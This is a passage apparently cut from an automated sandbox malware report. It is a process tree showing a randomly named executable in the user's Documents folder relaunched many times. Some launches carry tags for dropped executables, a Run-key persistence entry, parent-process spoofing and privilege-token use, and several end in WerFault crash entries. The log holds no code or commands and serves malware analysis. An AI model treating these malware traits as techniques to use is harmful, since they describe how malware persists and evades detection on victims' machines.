    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    PID:2512
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    PID:6116
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    PID:1272
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:496
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4788
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5336
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6440
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6996
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6400
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6584
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7832
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7496
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6540
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7764
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    PID:5848
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8444
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8320
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4036
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9404
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7808
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7916
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9448
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9760
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:1460
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4032
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5208
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8356
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:1304
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5600
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9204
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7720
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9884
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6204
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7536
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6112
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7500
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:3484
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5876
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7456
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8552
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6304
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8404
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:1948
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9960
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9960 -s 28
      4⤵
      Program crash
      PID:5668
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8568
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5196
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:228
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:2584
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9392
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7424
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8772
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:2152
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:1464
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:3068
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10032
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4528
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8956
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6632
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5308
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5640
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4632
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6896
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9844
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6520
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9028
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8912
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8912 -s 28
      4⤵
      Program crash
      PID:2856
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9080
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6192
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7568
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4464
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4676
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7092
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5236
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5920
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9316
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:7624
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5500
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5456
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:828
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 28
      4⤵
      Program crash
      PID:2168
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:3712
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10576
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:2248
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10776
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10476
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6608
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10704
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10704 -s 28
      4⤵
      Program crash
      PID:10808
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10500
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5224
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10428
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4536
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10480
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9288
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6928
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10808
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12888
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8580
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13264
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:2740
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:1312
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13188
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6924
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12704
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12368
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:736
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6652
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9952
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10772
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10444
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6768
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 28
      4⤵
      Program crash
      PID:12184
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8736
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12924
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10292
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:11304
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12560
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5816
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9596
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5528
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:11732
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12688
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10712
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:10072
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12660
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:11416
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 11416 -s 28
      4⤵
      Program crash
      PID:12240
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:11424
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 11424 -s 28
      4⤵
      Program crash
      PID:10272
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12124
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12032
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13352
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13880
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13336
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5248
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13444
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14120
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:1664
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:11520
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:12788
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:8048
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:13276
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9784
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:5116
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:4648
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:6192
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:11896
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:9920
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14148
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14552
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14944
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14528
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14040
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    PID:14984
- C:\Users\Admin\Documents\P16ofDXrRIjcgmlh_CM6ho3M.exe
